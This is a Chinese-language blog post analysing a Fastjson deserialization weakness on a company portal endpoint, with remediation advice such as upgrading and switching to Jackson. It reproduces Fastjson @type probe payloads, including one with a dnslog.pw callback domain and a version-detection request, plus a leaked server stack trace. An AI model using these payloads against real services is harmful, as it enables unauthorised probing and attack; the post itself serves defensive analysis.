FastJson引入存在DDos攻擊安全漏洞案例分析
背景
某集團公司入口網站介面存在DDos攻擊安全漏洞,其他服務端工程中依賴Fastjson進行序列化。Fastjson是阿里巴巴開發的一款高效能的Java JSON處理庫。本身在處理JSON資料時可能存在安全性問題,如JSON注入攻擊。DDoS攻擊是指攻擊者透過控制大量網路裝置(如個人電腦、伺服器、物聯網裝置等),向目標網站或伺服器傳送海量的、並非出於正常業務需要的訪問請求,以耗盡目標系統或網站的資源,導致使用者無法正常使用該系統或訪問該網站,從而達到破壞網站或線上服務正常運營的目的。
原理
利用Fastjson的某些漏洞(如反序列化漏洞)來構造攻擊載荷,從而可能間接導致目標系統資源耗盡,形成類似DDoS的效果。
過程
我們看到如下模擬測試HTTP介面請求,響應時間分別是14.3秒與10秒, 攻擊者可以基於這個慢響應時間發起對伺服器進行DDos攻擊
HTTP請求與響應報文
詳細HTTP請求與響應報文報文如下:
POST https://xxxx/ws/isCaptcha
HTTP/1.1
Host: xxxx
Content-Length: 70
Accept: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/json
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxxx"}}
HTTP/1.1 500
Content-Type: text/html;charset=utf-8
Content-Length: 7812
Connection: keep-alive
vary: accept-encoding
Content-Language: en
Date: Sat, 30 Mar 2024 07:12:30 GMT
X-Kong-Upstream-Latency: 7
X-Kong-Proxy-Latency: 1
Via: kong/0.14.0
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Request processing failed; nested exception is com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.springframework.web.util.NestedServletException: Request processing failed; nested exception is com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:965)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Root Cause</b></p><pre>com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:710)
com.alibaba.fastjson.JSON.parseObject(JSON.java:394)
com.alibaba.fastjson.JSON.parseObject(JSON.java:362)
com.alibaba.fastjson.JSON.parseObject(JSON.java:325)
com.xxxx.c2.web.converter.FastJsonMessageConverter.read(FastJsonMessageConverter.java:93)
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodArgumentResolver.readWithMessageConverters(AbstractMessageConverterMethodArgumentResolver.java:143)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.readWithMessageConverters(RequestResponseBodyMethodProcessor.java:180)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.resolveArgument(RequestResponseBodyMethodProcessor.java:95)
org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:77)
org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:157)
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:124)
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:104)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:745)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:685)
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:80)
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:919)
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:851)
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:953)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Root Cause</b></p><pre>java.lang.ClassCastException: java.net.InetSocketAddress cannot be cast to java.util.Map
com.alibaba.fastjson.parser.deserializer.MapDeserializer.parseMap(MapDeserializer.java:217)
com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:69)
com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)
com.alibaba.fastjson.parser.deserializer.ContextObjectDeserializer.deserialze(ContextObjectDeserializer.java:9)
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:705)
com.alibaba.fastjson.JSON.parseObject(JSON.java:394)
com.alibaba.fastjson.JSON.parseObject(JSON.java:362)
com.alibaba.fastjson.JSON.parseObject(JSON.java:325)
com.xxxx.c2.web.converter.FastJsonMessageConverter.read(FastJsonMessageConverter.java:93)
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodArgumentResolver.readWithMessageConverters(AbstractMessageConverterMethodArgumentResolver.java:143)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.readWithMessageConverters(RequestResponseBodyMethodProcessor.java:180)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.resolveArgument(RequestResponseBodyMethodProcessor.java:95)
org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:77)
org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:157)
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:124)
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:104)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:745)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:685)
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:80)
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:919)
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:851)
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:953)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/8.5.65</h3></body></html>
報文分析
敏感資訊洩露:
伺服器響應中包含了異常的堆疊跟蹤資訊,這可能洩露了伺服器的內部實現細節,攻擊者可能利用這些資訊進行進一步的攻擊。
響應頭中的Apache Tomcat/8.5.65
表明伺服器使用的是Tomcat 8.5版本,這個版本存在已知的安全漏洞,Tomcat 8.5.65存在安全漏洞分別是CVE-2023-45648,建議升級到最新的安全版本。
暴露閘道器Kong版本0.14.0
X-Kong-Upstream-Latency: <latency>:latency是Kong從 upstream service 接收到響應所等待的時間,單位為毫秒
透過ScanPort埠掃描,進一步獲取其他開放埠情況
Kong未授權訪問漏洞CVE-2020-11710
缺乏錯誤處理:
伺服器在遇到錯誤時沒有進行適當的錯誤處理,而是直接將異常資訊返回給了客戶端,這不僅對使用者體驗不好,也增加了安全風險。
缺乏輸入驗證:
從異常資訊來看,伺服器端在解析JSON時沒有進行足夠的輸入驗證,導致型別轉換錯誤。這表明伺服器端可能缺乏對輸入資料的嚴格校驗。
安全性配置不足:
伺服器配置可能沒有考慮到錯誤處理和資訊洩露的問題,需要對伺服器的錯誤響應進行配置,避免敏感資訊洩露。
測試方法
Fastjson的autotype可能DDOS攻擊漏洞,如HTTP介面響應時間 10-20秒, 則存在DDOS安全攻擊風險
請求頭
POST https://XXXX/ws/isCaptcha HTTP/1.1
Content-Length: 335
Accept: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/json
請求體
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{1:{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}},"country":"aaa.qmc8xj4s.dnslog.pw"}}}
FastJson版本檢測
如下示例,我們看到FastJson的1.2.83版本資訊暴露
請求體:
POST http://xxx.cn/ws/isCaptcha
HTTP/1.1
Content-Length: 41
Content-Type: application/json{
"@type": "java.lang.AutoCloseable"
響應:
HTTP/1.1 500
Content-Type: application/json
Connection: keep-alive
Date: Thu, 02 May 2024 03:20:02 GMT
X-Kong-Upstream-Latency: 5
X-Kong-Proxy-Latency: 0
Via: kong/2.0.1
Content-Length: 174{"timestamp":1714620002102,"status":500,"error":"Internal Server Error","message":"syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.83","path":"/ws/isCaptcha"}
解決方案
及時升級Fastjson版本:
密切關注Fastjson官方釋出的安全公告和更新資訊,及時將Fastjson庫升級到最新版本。新版本通常會修復已知的安全漏洞,提高系統的安全性。
輸入驗證:
對所有從外部接收的JSON資料進行嚴格的輸入驗證。只接受符合預期格式和內容的JSON資料,對包含惡意程式碼的輸入進行過濾或拒絕處理。
審計和監控:
定期對系統進行安全審計和監控,以便及時發現和處理潛在的安全威脅。
使用安全的 JSON 庫:
使用像 Jackson 或 Gson 這樣的庫,它們通常有更好的安全性特性,比如禁用特定的類或使用安全配置。
禁用不安全的反序列化
如果可能的話,完全避免使用不安全的反序列化技術。
結論
本案例透過測試與驗證發現介面響應時間慢導致DDos攻擊安全漏洞,服務端又暴露元件FastJson,Spring,Tomcat等,其實質是Fastjson引入的問題,替換web層依賴Fastjson為Jackson序列化配置。可以短期內解決這個安全漏洞。
今天先到這兒,希望對雲原生,技術領導力, 企業管理,系統架構設計與評估,團隊管理, 專案管理, 產品管理,資訊保安,團隊建設 有參考作用 , 您可能感興趣的文章:
構建創業公司突擊小團隊
國際化環境下系統架構演化
微服務架構設計
影片直播平臺的系統架構演化
微服務與Docker介紹
Docker與CI持續整合/CD
網際網路電商購物車架構演變案例
網際網路業務場景下訊息佇列架構
網際網路高效研發團隊管理演進之一
訊息系統架構設計演進
網際網路電商搜尋架構演化之一
企業資訊化與軟體工程的迷思
企業專案化管理介紹
軟體專案成功之要素
人際溝通風格介紹一
精益IT組織與分享式領導
學習型組織與企業
企業創新文化與等級觀念
組織目標與個人目標
初創公司人才招聘與管理
人才公司環境與企業文化
企業文化、團隊文化與知識共享
高效能的團隊建設
專案管理溝通計劃
構建高效的研發與自動化運維
某大型電商雲平臺實踐
網際網路資料庫架構設計思路
IT基礎架構規劃方案一(網路系統規劃)
餐飲行業解決方案之客戶分析流程
餐飲行業解決方案之採購戰略制定與實施流程
餐飲行業解決方案之業務設計流程
供應鏈需求調研CheckList
企業應用之效能實時度量系統演變
如有想了解更多軟體設計與架構, 系統IT,企業資訊化, 團隊管理 資訊,請關注我的微信訂閱號:
作者:Petter Liu
出處:http://www.cnblogs.com/wintersun/
本文版權歸作者和部落格園共有,歡迎轉載,但未經作者同意必須保留此段宣告,且在文章頁面明顯位置給出原文連線,否則保留追究法律責任的權利。
該文章也同時釋出在我的獨立部落格中-Petter Liu Blog。